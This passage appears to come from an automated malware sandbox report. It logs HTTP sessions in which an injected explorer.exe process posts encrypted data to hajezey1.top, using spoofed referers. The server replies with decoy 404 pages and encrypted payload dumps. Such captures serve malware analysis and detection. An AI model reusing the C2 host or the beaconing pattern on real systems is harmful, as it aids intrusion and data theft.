6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|!@+%gt#+xQ<2P0YObyT=a'4 YU\nIXKg[Ge92)g z6@E}Wp0Mk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy_:-nD%GkKm@NQ>[J8-w,v"JG0Z"?kQTJMQId%\s$&Q#F<pvA>C/CbGB4VFv2Bbo;6HPgyPum6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`\|PTZ3z[ ^z&+(l%yw*C=;5"No?hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F
Oct 29, 2021 20:10:32.722651005 CEST	1636	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 91 8a 2d 55 76 8c 94 be 70 8d 45 69 a1 84 05 86 e8 c6 3a 1e 4e 30 c8 3f b1 dc a7 36 0d b4 24 76 f3 61 5f ca bd d3 75 2e 18 45 3b e3 34 16 54 57 74 48 8a 38 7a ea 35 51 Data Ascii: cbp1HErl>-UvpEi:N0?6$va_u.E;4TWtH8z5Q*b!F3A2 !Stw %OM:/GIaeuJYAU{l4\|Fs_B3D-BX-!,]1B]&?=mW46yH9e@
Oct 29, 2021 20:10:32.722676039 CEST	1637	IN	Data Raw: 67 72 a2 98 b8 d3 52 89 bc 8c 20 84 cb 39 fc d0 e5 ac f9 cf 3b 7a de 3e 42 79 15 7c ce b7 b1 a8 ea ad 57 95 52 5a 81 7f 29 c9 f9 dc 88 2f b7 bd fd 7d 0b 9e 67 da 03 2f dc ec 4f e6 ff 9b e3 76 f3 62 85 0b 6a ac a6 cd 84 a0 d4 12 ec 6d 80 c2 b0 b9 Data Ascii: grR 9;z>By\|WRZ)/}g/Ovbjm\|y~;m4Y`xxgoSfC6{N\-g2~*3g2g{N<OuR<>G[DsC_pl'^{\|ar)G0:RdqS=.
Oct 29, 2021 20:10:32.722695112 CEST	1638	IN	Data Raw: 7d da 8b 38 8a 86 13 07 48 99 59 83 3d 9b f5 8d 3f e3 1e 40 88 84 34 4b 44 80 0e ce a3 a7 b7 09 de 10 e6 b8 03 fa 38 17 c4 b2 b7 fd 6d 6c fe 88 6c 20 1d 9e 4d a6 62 69 b7 7a a1 6a f0 1c cf da 9c f1 64 6f 76 04 46 78 de dd 49 2b e1 b4 3e 8d 24 47 Data Ascii: }8HY=?@4KD8mll MbizjdovFxI+>$G~,@X!k*b)rG2IDAH)n(up&\|a%va7I^3/7A#5lIX!;RPi:Nx~(,qjSL\|QK oD!
Oct 29, 2021 20:10:32.722714901 CEST	1640	IN	Data Raw: eb 12 3a 1c 28 6e 5f 24 08 5b a5 35 8d 3e 23 75 c1 f7 3e b1 9a 0b d2 92 bb 22 10 1b 92 d7 78 53 f5 dc dd 4c b3 31 8d 8a 89 da b4 d0 4f 22 28 f1 dd ff 53 1a 2e c9 47 bd 1c 97 66 4c 84 55 b6 53 60 c7 a9 62 13 31 61 11 c8 31 2e 5e a8 63 f1 85 30 f7 Data Ascii: :(n_$[5>#u>"xSL1O"(S.GfLUS`b1a1.^c0dt\|R4>fEc5I$J3@2m04kwg?Ha"/3vSZ`.N@oY^].PKa~}~oV_cE3Lann4?IkpT\|Z
Oct 29, 2021 20:10:32.722733021 CEST	1641	IN	Data Raw: ef 57 94 45 f8 84 96 14 6f 74 5f 72 c0 3b e2 07 45 c1 3c d3 e5 ce a9 91 d0 32 e8 6f cd 2d f1 c0 66 c1 58 19 4a 13 c0 ca 13 28 29 b9 27 ab a8 32 ce f9 af 78 4f be 48 8a 74 17 1b 3c 00 c3 af 8a 2c e2 e1 39 ff c9 9e 0c 59 e4 be 6a 18 33 c1 b3 4c 2b Data Ascii: WEot_r;E<2o-fXJ()'2xOHt<,9Yj3L+h.~]~'lfeDzo=0bD?r2PV8gTSdHffs<WEEd/y]kdO]8?O_8{nA6$M)?u?q}rzJ'Op
Oct 29, 2021 20:10:32.722749949 CEST	1642	IN	Data Raw: 56 78 a0 d2 a2 49 6f 98 2a a1 84 fb d1 cf 69 a5 e5 cd d0 82 5e a7 51 e1 4f 80 6d 7a 14 85 48 7a b3 53 aa bb a6 dc 19 71 77 48 2a c5 5c cd 79 23 a9 f5 10 db c9 79 8f 57 36 37 54 df 58 c5 4e 13 8e cf c4 0c c4 9b 4b e3 51 5c 65 77 65 38 47 d3 87 14 Data Ascii: VxIoi^QOmzHzSqwH\y#yW67TXNKQ\ewe8Gg=Bkj_(h1H]Y&'<I4:C%5M]Z\L6gg<']uBk$@HNJY]#jm?2000ov<`;oG>g67k%jK/fH
Oct 29, 2021 20:10:32.722762108 CEST	1644	IN	Data Raw: a8 06 0d e8 7f 36 ac 98 7b a6 ba 34 16 c6 7d 81 b3 8c 7e 38 23 52 17 70 1d 15 9e d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae f6 5a 93 7a 16 2f 14 d2 10 94 97 a7 54 57 be c0 ed 8e 85 63 f2 13 5b ca 46 a1 67 45 38 ae d8 46 a4 c3 68 bc Data Ascii: 6{4}~8#Rp!7naqTZz/TWc[FgE8FhsW-\SpH:.Zzz%m,xnZ!xBz9Wl#%Wrv@K,Xlhi $zZC:"D1[7TMq;/jZH2:>+BD
Oct 29, 2021 20:10:32.722784996 CEST	1645	IN	Data Raw: 70 ce c3 dc 47 33 dd 00 77 45 14 03 8c f0 3c ba bd 33 e1 ce ed 01 49 21 56 75 6a ac dd f8 b8 4a bc 5e b3 12 ae d5 21 c4 2b 71 57 e6 5b 28 9a 48 62 29 78 6c 46 82 34 bd 4d 64 79 14 b1 23 ce 19 76 b6 49 22 23 04 63 11 de d6 73 73 6b dd 23 c0 04 09 Data Ascii: pG3wE<3I!VujJ^!+qW[(Hb)xlF4Mdy#vI"#cssk#rr)2t&;Rv5gDM2hSEuud6\|m{Z9[.Fi=(H'E+GsV39(%@YFPQjoiIvU8abIsOTv<G6A
Oct 29, 2021 20:10:32.722800970 CEST	1646	IN	Data Raw: 31 f2 df 81 47 90 c0 26 f1 c3 34 6b ea 51 b7 be 41 2c b4 28 61 17 14 c6 fc d0 de d5 58 00 d4 35 31 dc 52 da f4 0b 45 6a d4 3b 8f 09 f8 15 1d 61 2e e0 21 8b f3 1a 1c 65 14 cd 5f 2b 10 f2 a2 26 90 3c 39 7f bb 38 66 62 02 e7 9b ea 69 4d 3c 8e fe 45 Data Ascii: 1G&4kQA,(aX51REj;a.!e_+&<98fbiM<E9#eJ@\dPYT]\ &g+rlgK@<Rq\|E}e;W("+x${WBLD ro--.suEz&%ui/\kMSL{r\|b
Oct 29, 2021 20:10:32.776715994 CEST	1648	IN	Data Raw: 5e ae 55 64 b9 22 9f b7 dd 7c b7 23 e8 8e c6 ed fc 8c 1e 15 44 14 13 3e f5 40 ab f1 a3 58 28 57 da 2b 77 3d ed ea 9d 47 8c 2e e7 80 a1 5f f5 de 62 dc b1 48 7e 87 39 df c7 72 3a fb 6f fc f2 92 5d df 76 21 c3 6d c0 df 94 e3 71 10 73 81 88 b7 18 8a Data Ascii: ^Ud"\|#D>@X(W+w=G._bH~9r:o]v!mqs:%vmC0/4wqE3Vd3~bSp?H>7J 9f Ou`$@>7N#fPa0/\|;"a7Pq{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49795	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:36.565373898 CEST	2178	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ihqsjj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 118 Host: hajezey1.top
Oct 29, 2021 20:10:36.565408945 CEST	2178	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 53 90 98 27 Data Ascii: Mw:xGcDATwmwu$f]dS'3h^{=?J:vqkCT}K
Oct 29, 2021 20:10:36.643986940 CEST	2179	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49796	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:36.725008965 CEST	2180	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://civbpqln.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: hajezey1.top
Oct 29, 2021 20:10:36.725033998 CEST	2180	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 03 af 9c 32 Data Ascii: Mw:xGcDATwmwu$f]d2&rf(zu}/{nV
Oct 29, 2021 20:10:36.801302910 CEST	2180	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49797	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:36.883522987 CEST	2181	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pqobqf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: hajezey1.top
Oct 29, 2021 20:10:36.885698080 CEST	2181	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 4d ba bb 7d Data Ascii: Mw:xGcDATwmwu$f]dM}&bwSi`S]X$EwfJ]6/2uHlN1b\|GB9%U-?auCA"(_&t7(SHRLTAO8rGB
Oct 29, 2021 20:10:36.962789059 CEST	2182	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49798	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:37.049216986 CEST	2185	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cuuhert.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 127 Host: hajezey1.top
Oct 29, 2021 20:10:37.049232006 CEST	2186	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 55 85 8f 7c Data Ascii: Mw:xGcDATwmwu$f]dU\|=^v/zf$MbYtn#=*RW;8k
Oct 29, 2021 20:10:37.130148888 CEST	2205	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 a1 a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 e1 8a 20 59 55 11 5c 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 0e 45 67 14 7d 63 fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b 0e e1 a2 22 48 32 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1 3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78 14 2c de e8 b1 14 c5 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 c2 49 64 cd 25 5c 8d b7 1d 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 e1 48 50 67 7e 50 b8 81 be e5 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|!@+%gt_)xQL=2P0YObyT=a'4 YU\%nIXKg[Ge92)g z6]DEg}cWp$Mk"H2I?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy_:-D%GkKm@NQ>[}J8x,v"JG0Z"?kQTJMQId%\$&Q#F<pvA>C/CbGB24VFv2Bbn6HPg~Pum6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`\|PTZ3z[ ^z&+(l%yw*C=;5"No?hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F
Oct 29, 2021 20:10:37.130170107 CEST	2206	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 91 8a 2d 55 76 8c 94 be 70 8d 45 69 a1 84 05 86 e8 c6 3a 1e 4e 30 c8 3f b1 dc a7 36 0d b4 24 76 f3 61 5f ca bd d3 75 2e 18 45 3b e3 34 16 54 57 74 48 8a 38 7a ea 35 51 Data Ascii: cbp1HErl>-UvpEi:N0?6$va_u.E;4TWtH8z5Q*b!F3A2 !Stw %OM:/GIaeuJYAU{l4\|Fs_B3D-BX-!,]1B]&?=mW46yH9e@
Oct 29, 2021 20:10:37.130665064 CEST	2208	IN	Data Raw: 67 72 a2 98 b8 d3 52 89 bc 8c 20 84 cb 39 fc d0 e5 ac f9 cf 3b 7a de 3e 42 79 15 7c ce b7 b1 a8 ea ad 57 95 52 5a 81 7f 29 c9 f9 dc 88 2f b7 bd fd 7d 0b 9e 67 da 03 2f dc ec 4f e6 ff 9b e3 76 f3 62 85 0b 6a ac a6 cd 84 a0 d4 12 ec 6d 80 c2 b0 b9 Data Ascii: grR 9;z>By\|WRZ)/}g/Ovbjm\|y~;m4Y`xxgoSfC6{N\-g2~*3g2g{N<OuR<>G[DsC_pl'^{\|ar)G0:RdqS=.
Oct 29, 2021 20:10:37.130683899 CEST	2209	IN	Data Raw: 7d da 8b 38 8a 86 13 07 48 99 59 83 3d 9b f5 8d 3f e3 1e 40 88 84 34 4b 44 80 0e ce a3 a7 b7 09 de 10 e6 b8 03 fa 38 17 c4 b2 b7 fd 6d 6c fe 88 6c 20 1d 9e 4d a6 62 69 b7 7a a1 6a f0 1c cf da 9c f1 64 6f 76 04 46 78 de dd 49 2b e1 b4 3e 8d 24 47 Data Ascii: }8HY=?@4KD8mll MbizjdovFxI+>$G~,@X!k*b)rG2IDAH)n(up&\|a%va7I^3/7A#5lIX!;RPi:Nx~(,qjSL\|QK oD!
Oct 29, 2021 20:10:37.130701065 CEST	2211	IN	Data Raw: eb 12 3a 1c 28 6e 5f 24 08 5b a5 35 8d 3e 23 75 c1 f7 3e b1 9a 0b d2 92 bb 22 10 1b 92 d7 78 53 f5 dc dd 4c b3 31 8d 8a 89 da b4 d0 4f 22 28 f1 dd ff 53 1a 2e c9 47 bd 1c 97 66 4c 84 55 b6 53 60 c7 a9 62 13 31 61 11 c8 31 2e 5e a8 63 f1 85 30 f7 Data Ascii: :(n_$[5>#u>"xSL1O"(S.GfLUS`b1a1.^c0dt\|R4>fEc5I$J3@2m04kwg?Ha"/3vSZ`.N@oY^].PKa~}~oV_cE3Lann4?IkpT\|Z
Oct 29, 2021 20:10:37.130718946 CEST	2212	IN	Data Raw: ef 57 94 45 f8 84 96 14 6f 74 5f 72 c0 3b e2 07 45 c1 3c d3 e5 ce a9 91 d0 32 e8 6f cd 2d f1 c0 66 c1 58 19 4a 13 c0 ca 13 28 29 b9 27 ab a8 32 ce f9 af 78 4f be 48 8a 74 17 1b 3c 00 c3 af 8a 2c e2 e1 39 ff c9 9e 0c 59 e4 be 6a 18 33 c1 b3 4c 2b Data Ascii: WEot_r;E<2o-fXJ()'2xOHt<,9Yj3L+h.~]~'lfeDzo=0bD?r2PV8gTSdHffs<WEEd/y]kdO]8?O_8{nA6$M)?u?q}rzJ'Op
